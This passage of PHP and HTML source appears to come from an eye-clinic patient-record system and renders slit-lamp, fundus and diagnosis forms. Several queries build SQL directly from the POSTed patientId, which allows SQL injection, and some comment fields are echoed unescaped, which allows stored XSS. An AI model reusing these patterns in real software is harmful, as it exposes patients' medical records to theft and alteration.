            &lt;div class=&quot;col-md-12&quot;&gt;
              &lt;div class=&quot;table-responsive&quot;&gt;
                 &lt;table class=&quot;table&quot; id=&quot;tblOE&quot;&gt;
                    &lt;thead class=&quot;thead-light&quot;&gt;
                       &lt;tr&gt;
                          &lt;th&gt;&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;Right&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;Left&lt;/th&gt;
                          &lt;!-- &lt;th&gt;&lt;/th&gt; --&gt;
                       &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody id=&quot;table-body&quot;&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;SAC&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_sacId&quot; name=&quot;r_sacId&quot;&gt;
                                
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_sacId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_sacId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_sac` WHERE `sacId` != '&quot;.$OE['sacId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                    while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_sacId&quot; name=&quot;l_sacId&quot;&gt;
                               
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_sacId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_sacId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_sac` WHERE `sacId` != '&quot;.$OE['sacId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                    while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;LID&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_lidId&quot; name=&quot;r_lidId&quot;&gt;
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_lidId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_lidId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_lid` WHERE `lidId` != '&quot;.$OE['lidId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_lidId&quot; name=&quot;l_lidId&quot;&gt;

                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_lidId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_lidId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_lid` WHERE `lidId` != '&quot;.$OE['lidId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;CONJ&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_conjId&quot; name=&quot;r_conjId&quot;&gt;
                              
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_conjId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_conjId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_conj` WHERE `conjId` != '&quot;.$OE['conjId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_conjId&quot; name=&quot;l_conjId&quot;&gt;
                                
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_conjId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_conjId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_conj` WHERE `conjId` != '&quot;.$OE['conjId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;CORNEA&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_corneaId&quot; name=&quot;r_corneaId&quot;&gt;
                                    &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_corneaId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_corneaId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_cornea` WHERE `corneaId` != '&quot;.$OE['corneaId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_corneaId&quot; name=&quot;l_corneaId&quot;&gt;
                                
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_corneaId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_corneaId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_cornea` WHERE `corneaId` != '&quot;.$OE['corneaId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;AC&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_acId&quot; name=&quot;r_acId&quot;&gt;
                    
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_acId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_acId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                      $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_ac` WHERE `acId` != '&quot;.$OE['acId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_acId&quot; name=&quot;l_acId&quot;&gt;
                         
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_acId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_acId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                      $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_ac` WHERE `acId` != '&quot;.$OE['acId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;lign-middle col-md-2&quot;&gt;
                             &lt;h6&gt;IRIS&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_irisId&quot; name=&quot;r_irisId&quot;&gt;

                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_irisId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_irisId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                      $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_iris` WHERE `irisId` != '&quot;.$OE['irisId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_irisId&quot; name=&quot;l_irisId&quot;&gt;
                                 &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_irisId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_irisId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                      $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_iris` WHERE `irisId` != '&quot;.$OE['irisId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;PUPIL&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_pupilId&quot; name=&quot;r_pupilId&quot;&gt;

                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_pupilId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_pupilId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                      $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_pupil` WHERE `pupilId` != '&quot;.$OE['pupilId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_pupilId&quot; name=&quot;l_pupilId&quot;&gt;
                                  &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_pupilId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_pupilId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                      $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_pupil` WHERE `pupilId` != '&quot;.$OE['pupilId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;LENS&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&gt;
                                &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_lensId&quot; name=&quot;r_lensId&quot;&gt;

                                      &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_lensId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_lensId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_lens` WHERE `lensId` != '&quot;.$OE['lensId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                      while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                                &lt;/select&gt;
                                &lt;button type=&quot;button&quot; data-toggle=&quot;modal&quot; data-target=&quot;#LensExtraInfoModel&quot; class=&quot;btn btn-primary plusBtn ml-2&quot;&gt;+&lt;/button&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;div class=&quot;d-flex justify-content-between align-items-center&quot;&gt;
                                &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_lensId&quot; name=&quot;l_lensId&quot;&gt;
                                     &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_lensId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_lensId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_lens` WHERE `lensId` != '&quot;.$OE['lensId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                      while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                                &lt;/select&gt;
                                &lt;button type=&quot;button&quot; data-toggle=&quot;modal&quot; data-target=&quot;#LensExtraInfoModel&quot; class=&quot;btn btn-primary plusBtn ml-2&quot;&gt;+&lt;/button&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;EM&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_emId&quot; name=&quot;r_emId&quot;&gt;

                                    &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_emId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_emId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_em` WHERE `emId` != '&quot;.$OE['emId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_emId&quot; name=&quot;l_emId&quot;&gt;

                                   &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_emId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_emId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_em` WHERE `emId` != '&quot;.$OE['emId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;COVER TEST&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_covertestId&quot; name=&quot;r_covertestId&quot;&gt;
                                    &lt;option value=&quot;&lt;?= htmlspecialchars($OE['r_covertestId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['r_covertestId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_covertest` WHERE `covertestId` != '&quot;.$OE['covertestId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_covertestId&quot; name=&quot;l_covertestId&quot;&gt;
                                 &lt;option value=&quot;&lt;?= htmlspecialchars($OE['l_covertestId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($OE['l_covertestId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_covertest` WHERE `covertestId` != '&quot;.$OE['covertestId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;OTHER&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;r_other&quot; name=&quot;r_other&quot; value=&quot;&lt;?=$OE['r_other']?&gt;&quot;&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;l_other&quot; name=&quot;l_other&quot; value=&quot;&lt;?=$OE['l_other']?&gt;&quot;&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                    &lt;/tbody&gt;
                 &lt;/table&gt;
              &lt;/div&gt;
           &lt;/div&gt;
           &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
              &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;slit_lamp_show&quot; onclick=&quot;submitOEForm(event)&quot;&gt;Submit&lt;/button&gt;
           &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-fundus') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $FundusQuery = &quot;SELECT * FROM patient_fundus_data WHERE patientId = '$patientId'&quot;;
            $FundusResult = mysqli_query($con, $FundusQuery);
            $row = mysqli_fetch_assoc($FundusResult);
            ?&gt;

            &lt;div class=&quot;col-md-12&quot;&gt;
              &lt;div class=&quot;table-responsive&quot;&gt;
                 &lt;table class=&quot;table&quot;&gt;
                    &lt;thead class=&quot;thead-light&quot;&gt;
                       &lt;tr&gt;
                          &lt;th&gt;&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;Right&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;Left&lt;/th&gt;
                       &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody id=&quot;table-body&quot;&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;Disc&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_discId&quot; name=&quot;r_discId&quot;&gt;

                                   &lt;option value=&quot;&lt;?= htmlspecialchars($row['r_discId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['r_discId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_disc` WHERE `discId` != '&quot;.$row['discId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_discId&quot; name=&quot;l_discId&quot;&gt;
                                 &lt;option value=&quot;&lt;?= htmlspecialchars($row['l_discId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['l_discId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                     $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_disc` WHERE `discId` != '&quot;.$row['discId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;FR&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_frId&quot; name=&quot;r_frId&quot;&gt;
                                
                                   &lt;option value=&quot;&lt;?= htmlspecialchars($row['r_frId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['r_frId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_fr` WHERE `frId` != '&quot;.$row['frId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_frId&quot; name=&quot;l_frId&quot;&gt;
                               &lt;option value=&quot;&lt;?= htmlspecialchars($row['l_frId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['l_frId']) ?&gt;&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_fr` WHERE `frId` != '&quot;.$row['frId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                   while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                    }
                                    ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;align-middle col-md-2&quot;&gt;
                             &lt;h6&gt;Comment&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;input type=&quot;text&quot; id=&quot;rf_comment&quot; name=&quot;rf_comment&quot; class=&quot;form-control&quot; value=&quot;&lt;?=$row['rf_comment']?&gt;&quot;&gt;
                          &lt;/td&gt;
                          &lt;td class=&quot;col-md-4&quot;&gt;
                             &lt;input type=&quot;text&quot; id=&quot;lf_comment&quot; name=&quot;lf_comment&quot; class=&quot;form-control&quot; value=&quot;&lt;?=$row['lf_comment']?&gt;&quot;&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                    &lt;/tbody&gt;
                 &lt;/table&gt;
              &lt;/div&gt;
           &lt;/div&gt;
           &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
              &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;fundus_show&quot; onclick=&quot;submitFundusForm(event)&quot;&gt;Submit&lt;/button&gt;
           &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-diagnosis') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $diagnoQuery = &quot;SELECT * FROM patient_diagnosis_data WHERE patientId = '$patientId'&quot;;
            $diagnoResult = mysqli_query($con, $diagnoQuery);
            $row = mysqli_fetch_assoc($diagnoResult);
            ?&gt;

           &lt;div class=&quot;col-md-12&quot;&gt;
              &lt;div class=&quot;form-group col-md-12&quot;&gt;
                 &lt;label for=&quot;Remark&quot; class=&quot;form-control-label&quot;&gt;Diagnosis&lt;/label&gt;&lt;br&gt;
                 &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;diagnosisValue&quot; name=&quot;diagnosisValue&quot;&gt;
                  
                       &lt;option value=&quot;&lt;?= htmlspecialchars($row['diagnosisValue']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['diagnosisValue']) ?&gt;&lt;/option&gt;
                        &lt;?php
                        $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_diagnosis` WHERE `diagnosisId` != '&quot;.$row['diagnosisId'].&quot;' AND `deleteStatus` = '0'&quot;);
                       while ($row1 = mysqli_fetch_array($query1)) {
                            echo '&lt;option value=&quot;' . htmlspecialchars($row1['diagnosis']) . '&quot;&gt;' . htmlspecialchars($row1['diagnosis']) . '&lt;/option&gt;';
                        }
                        ?&gt;
                 &lt;/select&gt;
              &lt;/div&gt;
           &lt;/div&gt;
           &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
